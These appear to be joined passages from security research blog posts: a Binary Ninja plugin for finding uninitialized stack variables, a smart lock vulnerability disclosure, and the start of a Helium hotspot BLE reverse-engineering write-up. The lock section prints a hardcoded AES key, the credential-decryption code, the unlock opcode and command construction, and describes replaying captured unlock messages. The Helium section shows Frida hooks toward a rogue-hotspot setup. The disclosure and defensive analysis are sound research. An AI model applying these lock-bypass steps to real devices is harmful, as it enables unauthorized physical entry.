Each record contains both the xref object (with its address) and the MLIL instruction index, which we use to compare ordering within the parent function.

Identifying Candidate Initializers

Within each parent function, we also enumerate all its callees (other functions it calls) and gather their xrefs in the same way. For each potential “middle” function call, we now have the list of points in the parent where it is invoked.

Proximity Heuristic for Coverage

For each uninitialized‐read reference (var_ref) in the parent, we look backwards at all candidate calls to see which one both:

1. Occurs before var_ref in the instruction stream (i.e., xref.address < var_ref.address and xref.index < var_ref.index), and

2. Writes to the stack offset of interest, as determined by func_called(callee, var_offset, var_size).

The plugin computes a simple distance metric—var_ref.address - callee_xref.address—and selects the callee with the smallest positive distance. This “closest writer” is most likely responsible for initializing (or partially initializing) the buffer before its uninitialized use:

best_distance = None
best_cover    = VAR_NOCOVER
for parent_out in parent_out_refs:
    for call_record in parent_out["xrefs"]:
        if call_record["xref"].address < var_ref["xref"].address:
            distance = var_ref["xref"].address - call_record["xref"].address
            cover_info = func_called(parent_out["parent_out"],
                                     offset, size)[0]["cover"]
            if cover_info != VAR_NOCOVER and (best_distance is None or distance < best_distance):
                best_distance = distance
                best_cover    = cover_info
                best_callee   = parent_out["parent_out"]
                best_xref     = call_record["xref"].address

Here, func_called inspects the callee’s own MLIL for writes at the given offset and returns VAR_FULL_COVER, VAR_PARTIAL_COVER, or VAR_NOCOVER.

Building the Call Chain

Once the best covering function is identified, we record a propagation record linking:

• Parent Function and the exact call-site of the uninitialized read.

• Middle Function (the chosen callee) and its call-site.

• Affected Function (original func) and the address of the problematic read.

By repeating this for every ULV candidate, the plugin constructs full Parent→Middle→Affected chains, capturing where the buffer originates, how it is partially initialized, and where the uninitialized portion is ultimately used.

Why This Approach Works

• IL Abstraction: By operating on IL engine’s explicit variables and instruction indices, we bypass many assembly-level quirks and focus on logical data flows.

• Proximity Metric: In most real binaries, the function that initializes a stack slot will be called most closely before its use; selecting by minimal distance leverages this common pattern without full CFG reconstruction.

• Per-Offset Coverage: Checking writes to the exact byte-range of interest (using normalized offsets and inferred sizes) ensures that we distinguish full from partial initialization.

This interprocedural coverage analysis transforms isolated read-before-write flags into meaningful vulnerability traces, revealing not only that a ULV exists, but how it traverses the call stack to become a real-world issue.

5. Pruning False Positives

Sibling-Variable Deduplication
In many binaries, the decompiler will introduce multiple local-variable symbols that actually refer to the same stack location—often as artifacts of different analysis passes or name collisions. To prevent reporting the same uninitialized region more than once, the plugin groups such “sibling” symbols by their stack-frame offset. During the coverage analysis, any two variables found at the exact same offset are identified, one is marked as the canonical representative, and the other is dropped from further consideration. This ensures that a single physical buffer on the stack generates at most one warning, rather than duplicate entries under different names.

Static Duplicate-Offset Filtering
Beyond simple sibling grouping, the analysis also looks for cases where one of two variables at the same offset is never read at all. If only one symbol is ever accessed and its duplicate is never used, the plugin interprets the accessed symbol as a likely disassembler artifact and discards it outright. By detecting these static duplicate–offset pairs early—before any interprocedural work—false positives stemming from redundant naming are eliminated with minimal overhead.

Read/Write Assignment Tracking
At the heart of uninitialized-variable detection is the ability to distinguish between reads and writes. The plugin first assumes every local is “unvisited,” then scans each instruction: when a variable is written (assigned), it is marked as initialized; when it is read without any prior write, it is flagged as a potential issue. Only those locals that transition from unvisited straight to read-only are surfaced as uninitialized-use candidates. This precise, per-instruction bookkeeping guarantees that correctly initialized variables (even if initialized late in the function) are never misreported.

Void-Type and Zero-Size Variable Filtering
Compiler-generated placeholders and padding areas often appear in the decompiler output as stack slots of void type or zero length. Since these cannot represent meaningful storage, the plugin offers configurable filters to skip them entirely. In the initial gathering of locals, any slot whose type is classified as “void” or whose width is zero is omitted when the corresponding skip flags are enabled. This preemptive pruning removes noise by excluding regions that could never hold legitimate data.

Imported-Function Coverage Skips

Calls to external libraries or dynamically linked functions have unknown behavior when it comes to local stack variables. To avoid wrongly assuming that these functions initialize or interact with locals, the plugin checks if the called function is located in the PLT (Procedure Linkage Table) or in an external range defined by the user. If a function is identified this way, it’s treated as having “no coverage” for the target variable—meaning it’s not credited with initializing it. This prevents the analysis from incorrectly suppressing uninitialized local variable (ULV) warnings when the real behavior of the external function isn’t known.

However, this area is still uncertain. In some cases, external functions do play a critical role in initialization, and treating them as “no coverage” can lead to extra false positives. Because of that, we leave this as a configurable option—a flag the researcher can turn on or off. Whether to include these functions in the analysis depends on the specific binary and how much false-positive noise you're willing to tolerate based on how these external calls behave.

Dynamic-Function-Address Heuristic

When a function call goes through a register or function pointer, its target can’t be figured out just by looking at the static code. So, the analysis can’t tell if the function being called actually writes to the variable or not.

To avoid making unsafe assumptions, there’s a setting you can turn on that tells the plugin to play it safe: if the call target is unknown, just assume it might initialize the variable. In that case, the possible uninitialized variable is removed from the report.

This heuristic helps cut down on false positives caused by indirect calls, where the real behavior of the function isn’t visible in static analysis.

Finally, a Unified False-Positive Marking
All filtered cases—whether from duplicate-offset removal, sibling deduplication, imported-function skips, or pointer-initiated initialization—are consolidated by marking the variable’s internal state as “false positive.” During the final report generation, any variable with this marker is uniformly excluded. By centralizing all pruning logic into a single assigned state, downstream parsing and triage remain straightforward, ensuring that only genuine read-before-write issues reach the analyst.

6. Enriching Results with IDA Pro Integration and PIN-Based Execution-Trace Filtering

To transform raw ULV candidates into actionable findings, the plugin incorporates two complementary enrichment steps: importing accurate function names from an IDA Pro export, and filtering static results against a dynamic call trace captured with Intel PIN.

IDA Pro Symbol Import

Stripped binaries lack meaningful symbols, making it difficult to triage ULV reports. To remedy this, the plugin can ingest a JSON mapping of function names to addresses generated by a IDA Pro script. This mapping is produced by an IDA Python script such as:

# In IDA Pro:
import idautils, idc, idaapi, json

ida_map = {}
for addr in idautils.Functions():
    name = idc.get_func_name(addr)
    ida_map[name] = hex(addr)

with open("ida_funcs.json", "w") as f:
    json.dump(ida_map, f)

Within the Binary Ninja plugin, these symbols are defined before analysis begins:

def loadIdaFuncNames(fname):
    ida_functions = json.loads(open(fname, "r").read())
    for funcname, addr_hex in ida_functions.items():
        addr = int(addr_hex, 16)
        sym = Symbol("FunctionSymbol", addr, funcname)
        bv.define_user_symbol(sym)

By calling loadIdaFuncNames("ida_funcs.json"), Binary Ninja’s symbol table is populated with human-readable names. Subsequent ULV reports (in JSON or text) reference these names and addresses directly, greatly simplifying vulnerability triage and patching.

Intel PIN–Based Execution-Trace Filtering

Static analysis can over-report in dead or rarely exercised code paths. To focus on vulnerabilities that matter under real workloads, we use a minimal PIN tool that logs every executed function call, then cross-references this trace with the ULV findings.

PIN Instrumentation (C++):

... SNIP ...

// Called before every call instruction
VOID OnCall(ADDRINT ip, ADDRINT target) {
    out << std::hex << ip << " " << target << "\n";
}

VOID Trace(TRACE trace, VOID *) {
    for (BBL bbl = TRACE_BblHead(trace);
         BBL_Valid(bbl); bbl = BBL_Next(bbl)) {
        for (INS ins = BBL_InsHead(bbl);
             INS_Valid(ins); ins = INS_Next(ins)) {
            if (INS_IsCall(ins)) {
                INS_InsertPredicatedCall(
                    ins, IPOINT_BEFORE, (AFUNPTR)OnCall,
                    IARG_INST_PTR, IARG_BRANCH_TARGET_ADDR, IARG_END);
            }
        }
    }
}

... SNIP ...

What it does: Each executed call logs the instruction pointer and the call target to pinout.txt.

Result: A trace of which functions (by address) were actually invoked during a program run. The cool thing here is that the address where the function were exactly called, is noted and saved. That’s a sweet xref out of runtime execution for each and for every function call (functions treated as code segment and jumped on it - odd compiler stuff - are ignored).

Parsing and Filtering in Python:

In the ULV parsing script, we load the PIN trace and build a set of covered functions:

def filterWithTrace(fname):
    trace = {}
    lines = open(fname).read().splitlines()
    # First line is the image base; skip or record if needed
    for line in lines[1:]:
        src_hex, dst_hex = line.split()
        # Normalize addresses relative to image base here if necessary
        trace.setdefault(dst_hex, []).append(src_hex)
    return trace

# Later, when printing each ULV record:
if analyze_trace_file:
    trace = filterWithTrace("pinout.txt")
    # Skip any ULV whose functions were not covered
    if (hex(vuln_addr) not in trace or
        hex(middle_addr) not in trace or
        hex(affected_addr) not in trace):
        continue
    ... display results ...

Configuration: Set analyze_trace_file = True and point to your pinout.txt.

Effect: Any ULV whose Parent, Middle, or Affected function did not appear in the execution trace is omitted from the run-specific report.

By enriching static ULV data with IDA Pro symbols and PIN-driven coverage, the plugin delivers a final output that is both human-readable and focused on real execution paths—a powerful combination for efficient vulnerability review and triage.

Parsing and displaying the data

Structured JSON Ingestion
After our Binary Ninja plugin completes its analysis, it emits a comprehensive JSON file (ulv_analysis_*.json) that captures, for every function and variable, a list of propagation records (parent, middle, affected functions, offsets, sizes, and coverage status). The parser reads this JSON directly, trusting that each record encodes the full context of an uninitialized-variable finding. By decoupling data generation from reporting, we can evolve the analysis engine independently of how results are presented.

Colorized, Intuitive Console Output
To aid rapid triage, we leverage the termcolor library to highlight key elements in the console: vulnerable pointers (in red), intermediary function names (in yellow), and input functions that introduce the uninitialized data (in green). When PIN-based trace filtering is active, functions confirmed as executed appear in blue. This visual language lets me—and anyone reviewing our findings—scan dozens of records in seconds and immediately spot the most important flows.

Trace-Driven Filtering
Static analysis often yields warnings in code paths that never actually run. To focus on real, exploitable issues, the parser can ingest the pinout.txt generated by our Intel PIN tool. It builds a set of all executed callee addresses and then discards any ULV record whose parent, middle, or affected function didn’t appear in the trace. This simple yet effective step transforms a long static report into a focused list of vulnerabilities observed under actual workloads.

Flexible Whitelists and Blacklists
Every codebase has its own quirks and known false positives. I’ve added support for user-defined lists—blacklist_vuln_funcs, false_negatives_vuln, false_negatives_input, and an optional whitelisted_only set—that let us suppress or focus on specific functions. This makes the parser adaptable: whether conducting an initial broad sweep or zeroing in on a mission-critical module, I can tailor the report to exactly what I need to investigate.

High-Level Relationship Overview
Finally, after printing each detailed record, the parser compiles a streamlined “VULNERABLE ← AFFECTS” table. For every vulnerable function, it lists the input functions responsible for tainting its variables. This bird’s-eye overview reveals which routines serve as common entry points for uninitialized data, guiding subsequent fuzzing or manual review. In practice, this summary often highlights unexpected hotspots that merit deeper investigation.

Together, these features make the parser not just a reporting tool, but an interactive companion in the vulnerability-discovery process—one that adapts to our evolving needs, surfaces the most relevant findings, and accelerates the path from analysis to remediation.

In a nutshell

Finding uninitialized stack variables in a stripped binary can feel like hunting ghosts in the machine. With this Binary Ninja plugin, however, the process becomes clear and manageable. We start by rebuilding each function’s local variables from the stack frame, then use MLIL to spot any reads that happen before a write. When the size of a buffer is unknown, a simple neighbor-offset trick fills in the gaps. Next, we follow the data across functions to see exactly where it was partially initialized and then finally used without initialization. False alarms are swept away by combining sibling-variable checks, pointer-taint tracking, and sensible skips for external or indirect calls.

To make the results truly actionable, we round out the approach with two powerful additions: importing accurate function names from an IDA Pro export, and filtering against a real execution trace captured by PIN. This means every warning in your report isn’t just a line in a file—it’s a named function that you know actually ran, with a clear story of how uninitialized data flowed through your code.

In practice, this workflow turns a daunting manual effort into an automated, repeatable audit. Whether you’re examining legacy software with no source or vetting a new build for hidden leaks, this plugin shines a spotlight on the most critical uninitialized-variable issues first.

More of this?

We also welcome collaboration with universities, research institutes, and industry partners on shared projects. If you’d like to discuss joint research or integration efforts, please feel free to connect with the author on LinkedIn (Theodoros Danos) or send an email to Cybervelia. We look forward to exploring new opportunities together!

The analyzer’s code is strictly available only to selected research institutes.

Possible enhancements

We would like to blend-in some SMT-solvers in order to glue the sinks with the affected variables. That would be really cool but symbex requires a bit more effort and that alone is just one of the ideas.

Our current interprocedural analysis examines only a single level of the call stack when correlating functions. Extending this to multiple layers would greatly enhance our ability to trace complex call chains. For example, consider a scenario where Function A calls B, B calls C, and C calls D—and it is D’s behavior that is ultimately influenced by an uninitialized variable in A. With multi-layer depth, we could uncover that relationship; as it stands, we only analyze direct parent-child interactions.

Another enhancement is to grab and enhance the function names such as including System map and other files which will help the function-name decoding - even though this has nothing to do with ULV, it simplifies the whole process.

Finally, it would be super-interesting if we would involve LLMs to validate/invalidate affected functions found by the tool!

The investigation was conducted using dynamic instrumentation and a BLE man-in-the-middle toolkit. By combining multiple weaknesses in the system's architecture, we were able to register and control a lock without possessing or being near the physical device. This led to full compromise of its unlock functionality.

Overview

This research focused on two key components:

• The communication between the Android mobile application and the remote API server.

• The BLE communication between the mobile application and the lock itself.

Access was achieved by chaining together an insecure device binding API, static key cryptography, and a custom, unprotected BLE protocol. The BLE channel, although encrypted, lacked any meaningful integrity or replay protection.

All BLE traffic was intercepted and analyzed using BLE:Bit, a powerful BLE research platform and toolset that allowed live traffic monitoring and active command injection. The tool was essential in intercepting and replaying commands during this research. We originally developed this tool in-house to support our own security assessments, including research like this. It was later released as an open-source project to benefit the broader security community.

Registering a Lock Without Ownership

The Android app binds locks to user accounts via a simple HTTP POST request. This should only be permitted when the physical lock is nearby and discoverable via BLE. However, we discovered that the server permitted binding based solely on knowledge of the lock’s MAC address.

Example request (values redacted):

POST /lock/bind
Headers:
  token: <redacted>
  uid: <redacted>
Body:
{
  "name": "lock1",
  "userId": <redacted>,
  "mac": "<redacted>"
}

This endpoint responded successfully even when sent from a device not in proximity to the lock and not previously associated with it. No cryptographic challenge, proximity validation, or ownership proof was required.

Extracting Lock Credentials via API

Once a lock is registered to a user account, the mobile application retrieves lock details from the API using another POST request:

POST /lock/getLockList
Body:
{
  "userId": <redacted>
}

The server’s response includes a field named encryptedData, which contains encrypted lock credentials. These credentials include the lock key (used for BLE encryption), the BLE password, and the MAC address.

Sample response:

{
  "name": "lock1",
  "mac": "<redacted>",
  "encryptedData": "RUQ2RDJCODZFQ...=="
}

Decryption of encryptedData Using a Static Key

Upon decompiling the application, we found the following decryption logic:

public void setData() {
    String[] split = new String(
        b.b(
            c.a(new String(Base64.decodeBase64(this.encryptedData.getBytes()))),
            c.a("58966742920123314112157843194045")
        )
    ).split("&");

    this.lockKey = split[0];
    this.lockPwd = split[1];
    this.mac = split[2].trim();
}

The AES key 58966742920123314112157843194045 was hardcoded and used to decrypt lock credentials. The app used AES in ECB mode with no padding (AES/ECB/NoPadding). This design is insecure and means every lock’s secret data can be decrypted offline by anyone with access to the app binary.

A decrypted payload produced:

lockKey: <redacted> lockPwd: <redacted> mac: <redacted>

These values were sufficient to craft valid BLE messages for unlocking the device.

BLE Protocol Structure

The communication between the mobile application and the smart lock relies on Bluetooth Low Energy (BLE) and operates through two specific GATT characteristics:

• 0x36f5 – Used by the mobile application to write encrypted commands to the lock.

• 0x36f6 – Used by the smart lock to send encrypted notifications back to the application.

All messages are encrypted using AES in ECB mode with no padding. The encryption key (lockKey) is extracted from the decrypted encryptedData value, which is unique per lock but can be retrieved due to the use of a globally hardcoded AES key.

Each command is a 16-byte message composed of:

• Opcode (2 bytes): Defines the action (e.g., unlock, query battery).

• Parameters (variable length): Payload depending on command type.

• Random padding (up to 16 bytes total): Fills out the block to a full 16 bytes.

• The result is then encrypted with the lockKey before transmission.

Responses from the lock follow the same structure but may contain status bytes, data, or acknowledgments.

The mobile app and lock communicate using this symmetric encryption channel without any form of MAC (Message Authentication Code), nonce, or rolling sequence number. This makes the protocol vulnerable to replay and injection attacks, as observed in the field.

Each message is treated as an independent, atomic block. There is no session context, authentication handshake, or stateful pairing after initial connection. This is atypical for secure BLE implementations, where session keys, pairing methods (e.g., Just Works, Passkey), and authenticated characteristics are used to prevent tampering.

From a forensic or offensive perspective, this structure makes the protocol straightforward to reverse and emulate, especially when the message format is consistent and the encryption key is discoverable.

Sniffed Traffic

Using BLE:Bit’s MiTM capabilities, we captured real-time BLE traffic between the mobile application and the lock.

Below is an excerpt of observed traffic:

WRITE Android → SmartLock  @ 0x36f5: 3E 62 BB 1D F5 6C 60 94 84 E0 E3 87 26 0A 8B BE
NOTIFY SmartLock → Android @ 0x36f6: 93 C6 50 7E 00 79 94 24 6E 6E 40 EA D7 F8 86 7E

WRITE Android → SmartLock  @ 0x36f5: FC B1 5D A6 3E 3C DD E4 56 72 60 2D 03 34 84 98
NOTIFY SmartLock → Android @ 0x36f6: DE 4F 0D BB F5 1B 34 08 5F DD F9 FC 59 A9 C5 EF

WRITE Android → SmartLock  @ 0x36f5: C6 9D BC DA 2F 39 C7 AD 32 8D DA 21 B2 14 61 FE
NOTIFY SmartLock → Android @ 0x36f6: DE 4F 0D BB F5 1B 34 08 5F DD F9 FC 59 A9 C5 EF

From these patterns, we observed that each write command from the app was met with a corresponding BLE notification from the lock. The contents of the messages varied with operation types but were consistently 16 bytes in size and AES-encrypted.

Each operation — such as open lock, query status, or reset password — had a specific opcode. For example, OPEN_LOCK was identified as 0501 in the application's BLE message definition enum.

Constructing and Sending Unlock Commands

The unlock command is constructed in the app by a class similar to the following:

public class i extends z {
    public i(String password) {
        super(TYPE.OPEN_LOCK);
        char[] chars = password.toCharArray();
        a((byte) 6, (byte) chars[0], ..., (byte) chars[5]);
    }
}

Once constructed, the payload is encrypted and transmitted using:

BLEService.a(context, b.a(new i("000000")));

By extracting the password from the decrypted encryptedData, we were able to replicate this sequence and issue an unlock command ourselves from a custom script.

Replay Vulnerability

BLE messages were static and reusable. Because no freshness mechanism was implemented (e.g., nonce, counter, or session token), we were able to capture a valid unlock message and replay it later with success. No additional authentication or time-based validation occurred on the lock side.

This constitutes a full replay attack vulnerability and would allow any nearby attacker to capture and reuse unlock commands.

Root Cause Analysis

The compromise was made possible by several design failures:

• The device binding API lacked proper authorization and proximity validation

• Encryption used a static key embedded in the client

• BLE communication lacked any message integrity or replay protection

• The application code revealed all internal cryptographic operations and protocol definitions without obfuscation

Recommendations

To prevent this class of attack, manufacturers should consider the following improvements:

• Enforce physical proximity checks during binding via BLE challenge-response

• Provision per-device cryptographic keys securely during manufacturing

• Use message authentication codes (MACs) with nonce or counter to prevent replay attacks

• Replace ECB mode with authenticated encryption (e.g., AES-GCM.

• Obfuscate mobile application code and prevent dynamic inspection via Frida or similar tools

Conclusion

Through this research, we demonstrated that a combination of insecure API design, weak cryptographic practices, and poor BLE protocol implementation can result in full device compromise.

We were able to:

• Register a lock without physical possession

• Retrieve and decrypt its private credentials

• Construct and transmit BLE commands to unlock the device

• Replay previously captured BLE traffic for unauthorized access

This case highlights the urgent need for embedded security best practices in smart device development. It is not sufficient to encrypt data — the entire lifecycle of key management, communication, and user control must be secured.

Future research may explore additional BLE commands, fingerprint bypass vectors, or over-the-air update mechanisms if present.

Secure by Design. Tested in the Real World

This kind of research isn’t theoretical—it reflects real vulnerabilities found in real products currently on the market. If you're building smart locks, connected devices, or BLE-enabled systems, ask yourself:

Has your product been tested like this?

At our firm, we specialize in uncovering and mitigating exactly these kinds of flaws—before attackers do. From reverse engineering and protocol fuzzing to full-stack API abuse scenarios, we provide deep technical security assessments tailored to embedded and IoT products.

Ready to harden your product?

Let’s talk.

More Bluetooth Hacking

Would you like to learn more on how to hack bluetooth @anything ? Subscribe, and if you are already a subscriber, stay tuned for more!

Helium devices use the LoRa protocol to provide long-range wireless coverage (up to 50km) for remote sensors. LoRa keys and Wi-Fi credentials are passed to the device either through Bluetooth or Wi-Fi, meaning these values must be transferred somehow — and that’s what we want to intercept and understand.

Since the setup process uses BLE, and I have experience working with BLE systems, this seemed like a good opportunity to explore.

This article discusses the whole procedure of the reverse engineering without skipping any steps and its highly technical article - a write-up basically. For non-technical readers you may skip and go to the summary.

Reverse engineering of Helium Hotspot Application

The goal was to make the Helium mobile app connect to a rogue hotspot created by us. For this to work, the app first scans for nearby Bluetooth devices and then checks if any of them match the expected signature of a genuine Helium device.

The process began by decompiling the APK using the Jadx decompiler.

The next step was to identify how the app filters devices during the scan. This filtering can be based on various broadcasted data, such as services, device name, or MAC address. It was observed that the app uses the Polidea BLE SDK to handle this filtering.

com.polidea.rxandroidble.scan.ScanFilter

The class ScanFilter is responsible for filtering scanned devices. By starting a scan through the Helium application, the app is forced to create an instance of this class in memory. This instance is then located in memory and its contents are printed using dynamic instrumentation, as shown below:

    Java.choose("com.polidea.rxandroidble.scan.ScanFilter" , {
      onMatch : function(instance){ 
        console.log(instance.toString());
      },
      onComplete:function(){console.log("finished");}
    });

Frida Output:

[Nexus 5X::com.helium.wallet]-> started
BluetoothLeScanFilter [mDeviceName=null, mDeviceAddress=null, mUuid=null, mUuidMask=null, mServiceDataUuid=null, mServiceData=null, mServiceDataMask=null, mManufacturerId=-1, mManufacturerData=null, mManufacturerDataMask=null]
BluetoothLeScanFilter [mDeviceName=null, mDeviceAddress=null, mUuid=0fda92b2-44a2-4af2-84f5-fa682baa2b8d, mUuidMask=null, mServiceDataUuid=null, mServiceData=null, mServiceDataMask=null, mManufacturerId=-1, mManufacturerData=null, mManufacturerDataMask=null]
finished

It was determined that the application uses only the service ID in the advertisement to decide whether to connect to a device.

This service ID is a 128-bit UUID: 0fda92b2-44a2-4af2-84f5-fa682baa2b8d. A search through the source code didn’t reveal any references to it.

To move forward, the next step was to locate where this filter is being set and trace it back through the code.

var Log = Java.use("android.util.Log");
var Exception = Java.use("java.lang.Exception");


var scanfilter = Java.use("com.polidea.rxandroidble.scan.ScanFilter$Builder");
scanfilter.setServiceUuid.overload('android.os.ParcelUuid').implementation = function(uuid){
    console.log("uuid: " + uuid.toString());
    console.log(Log.getStackTraceString(Exception.$new()));
    return scanfilter.setServiceUuid.overload('android.os.ParcelUuid').call(this, uuid);
}

uuid: 0fda92b2-44a2-4af2-84f5-fa682baa2b8d
java.lang.Exception
    at com.polidea.rxandroidble.scan.ScanFilter$Builder.setServiceUuid(Native Method)
    at com.polidea.multiplatformbleadapter.BleModule.safeStartDeviceScan(BleModule.java:1231)
    at com.polidea.multiplatformbleadapter.BleModule.startDeviceScan(BleModule.java:192)
    at com.polidea.reactnativeble.BleClientManager.startDeviceScan(BleClientManager.java:182)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
    at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
    at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
    at android.os.Handler.handleCallback(Handler.java:790)
    at android.os.Handler.dispatchMessage(Handler.java:99)
    at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
    at android.os.Looper.loop(Looper.java:164)
    at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
    at java.lang.Thread.run(Thread.java:764)
​

It appeared that the UUID was being set by multiple methods within the BleModule class.

To proceed, it was necessary to get a clearer understanding of the core classes provided by the Polidea library. Both BleModule and BleClientManager were identified as strong candidates for further inspection, as they implement key BLE functionalities typically involved in reverse engineering—such as connecting, scanning, reading, and writing characteristics.

Functions like discoverAllServicesAndCharacteristicsForDevice and characteristicsForDevice stood out, as they are usually involved in processing discovered services and characteristics, making them ideal starting points.

Log messages were also checked in hopes of finding unique strings that could help trace relevant code during decompilation. Unfortunately, the logs didn’t provide anything useful.

Initially, it didn’t seem like the application was built with React Native. However, by this stage, it became clear that it actually was. At that point, it was tempting to stop due to the added complexity.

npx react-native-decompiler -i ./index.android.bundle -o ./output

thio@re:~/Downloads/Reversing/helium/helium/assets$ npx react-native-decompiler -i ./index.android.bundle -o ./output
npx: installed 178 in 7.646s
Unexpected token {

The main objective at this point was to locate where the BLE functions were being called from. However, there was limited information available to work with.

The JavaScript bundle was beautified, and a search was conducted for key functions such as discoverAllServicesAndCharacteristicsForDevice and characteristicsForDevice. These functions were successfully found within the code, confirming that they were part of the application's logic.

discoverAllServicesAndCharacteristicsForDevice: EA:BC:CC:11:33:13,5
java.lang.Exception
    at com.polidea.multiplatformbleadapter.BleModule.discoverAllServicesAndCharacteristicsForDevice(Native Method)
    at com.polidea.reactnativeble.BleClientManager.discoverAllServicesAndCharacteristicsForDevice(BleClientManager.java:390)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
    at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
    at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
    at android.os.Handler.handleCallback(Handler.java:790)
    at android.os.Handler.dispatchMessage(Handler.java:99)
    at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
    at android.os.Looper.loop(Looper.java:164)
    at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
    at java.lang.Thread.run(Thread.java:764)
​
getCharacteristicsForDevice: EA:BC:CC:11:33:13,0fda92b2-44a2-4af2-84f5-fa682baa2b8d
java.lang.Exception
    at com.polidea.multiplatformbleadapter.BleModule.getCharacteristicsForDevice(Native Method)
    at com.polidea.reactnativeble.BleClientManager.characteristicsForDevice(BleClientManager.java:426)
    at java.lang.reflect.Method.invoke(Native Method)
    at com.facebook.react.bridge.JavaMethodWrapper.invoke(JavaMethodWrapper.java:372)
    at com.facebook.react.bridge.JavaModuleWrapper.invoke(JavaModuleWrapper.java:151)
    at com.facebook.react.bridge.queue.NativeRunnable.run(Native Method)
    at android.os.Handler.handleCallback(Handler.java:790)
    at android.os.Handler.dispatchMessage(Handler.java:99)
    at com.facebook.react.bridge.queue.MessageQueueThreadHandler.dispatchMessage(MessageQueueThreadHandler.java:27)
    at android.os.Looper.loop(Looper.java:164)
    at com.facebook.react.bridge.queue.MessageQueueThreadImpl$4.run(MessageQueueThreadImpl.java:226)
    at java.lang.Thread.run(Thread.java:764)

key: "discoverAllServicesAndCharacteristicsForDevice",
value: function(t, n) {
    var c;
    return s.default.async(function(u) {
        for (;;) switch (u.prev = u.next) {
            case 0:
                return n || (n = this._nextUniqueID()), u.next = 3, s.default.awrap(this._callPromise(p.BleModule.discoverAllServicesAndCharacteristicsForDevice(t, n)));
            case 3:
                return c = u.sent, u.abrupt("return", new o.Device(c, this));
            case 5:
            case "end":
                return u.stop()
        }
    }, null, this, null, Promise)
}

React was treated as a black box, used only to extract the necessary strings. The setup placed the Android API as the lower layer, React JavaScript as the upper layer, and the analysis somewhere in between—trying to understand what the React code needed in order to move forward (such as device registration or sending encryption keys).

A search was done within the React code to locate the UUIDs being used.

The good news was that the expected logic was found, and the relevant code was successfully revealed.

}, t.getDeviceInfo = function() {
    var n, u, o, c, l, f, p, w, h, v, b;
    return s.default.async(function(x) {
        for (;;) switch (x.prev = x.next) {
            case 0:
                return n = t.state.connectedHotspot, x.next = 3, s.default.awrap(n.characteristicsForService(D));
            case 3:
                return u = x.sent, o = u.find(function(t) {
                    return t.uuid === A
                }), x.next = 7, s.default.awrap(o.read());
            case 7:
                return c = x.sent, x.next = 10, s.default.awrap(n.characteristicsForService(F));
            case 10:
                return l = x.sent, f = l.find(function(t) {
                    return t.uuid === R
                }), x.next = 14, s.default.awrap(f.read());
            case 14:
                return p = x.sent, k.default.logBreadcrumb("wifi read " + p), w = l.find(function(t) {
                    return t.uuid === j
                }), x.next = 19, s.default.awrap(w.read());
            case 19:
                return h = x.sent, v = l.find(function(t) {
                    return t.uuid === V
                }), k.default.logBreadcrumb("wifiConfiguredCharacteristic " + v), b = {}, x.prev = 23, x.next = 26, s.default.awrap(v.read());
            case 26:
                b = x.sent, x.next = 32;
                break;
            case 29:
                x.prev = 29, x.t0 = x.catch(23), k.default.sendError(x.t0);
            case 32:
                return x.abrupt("return", {
                    wifiSSID: (0, y.fromBs64)(p.value),
                    wifiConfigured: b,
                    ethernetOnline: (0, y.fromBs64)(h.value),
                    firmwareVersion: (0, y.fromBs64)(c.value)
                });
            case 33:
            case "end":
                return x.stop()
        }
    }, null, null, [

The downside was that the code was minified and stripped, making it harder to read. Then again, that wasn’t too bad. The real challenge was dealing with JavaScript itself, which made the process more frustrating than it needed to be.

In the react source there is a very interesting code snippet:

}, t.setWifiCredentials = function(n, u) {
    var o, c, l, f;
    return s.default.async(function(p) {
        for (;;) switch (p.prev = p.next) {
            case 0:
                return k.default.logBreadcrumb('Bluetooth::setWifiCredentials'), p.next = 3, s.default.awrap((0, x.setWifiServices)(n, u));
            case 3:
                return o = p.sent, c = t.state.connectedHotspot, p.next = 7, s.default.awrap(c.characteristicsForService(F));
            case 7:
                return l = p.sent, p.next = 10, s.default.awrap(l.find(function(t) {
                    return t.uuid === W
                }));
            case 10:
                return f = p.sent, p.next = 13, s.default.awrap(f.writeWithResponse(o));
            case 13:
                return p.abrupt("return", f);
            case 14:
            case "end":
                return p.stop()
        }

Looks like the wifi connection is being setup via Bluetooth. So I wonder how strong the bluetooth security is.

The LoRa keys and wifi keys are transferred via bluetooth so if the bluetooth fails, everything else fails too.

While reviewing the Bluetooth-related code, several UUIDs were identified:

    var F = '0fda92b2-44a2-4af2-84f5-fa682baa2b8d',
        D = '0000180a-0000-1000-8000-00805f9b34fb',
        A = '00002a26-0000-1000-8000-00805f9b34fb',
        B = 'd7515033-7e7b-45be-803f-c8737b171a29',
        W = '398168aa-0111-4ec0-b1fa-171671270608',
        R = '7731de63-bc6a-4100-8ab1-89b2356b038b',
        N = 'df3b16ca-c985-4da2-a6d2-9b9b9abdb858',
        G = 'd435f5de-01a4-4e7d-84ba-dfd347f60275',
        I = '0a852c59-50d3-4492-bfd3-22fe58a24f01',
        L = 'd083b2bd-be16-4600-b397-61512ca2f5ad',
        U = 'b833d34f-d871-422c-bf9e-8e6ec117d57e',
        j = 'e5866bd6-0288-4476-98ca-ef7da6b4d289',
        V = 'e125bda4-6fb8-11ea-bc55-0242ac130003',
        M = '8cc6e0b3-98c5-40cc-b1d8-692940e6994b',

This was promising, but it raised a question: were these UUIDs for services or characteristics?

Some, like 0000180a-0000-1000-8000-00805f9b34fb and 00002a26-0000-1000-8000-00805f9b34fb, were immediately recognized as standard Bluetooth entries. These are well-known—0000180a... refers to the Device Information service, and 00002a26... is the Firmware Revision String characteristic.

The rest were 128-bit UUIDs, which typically means they're custom and vendor-defined.

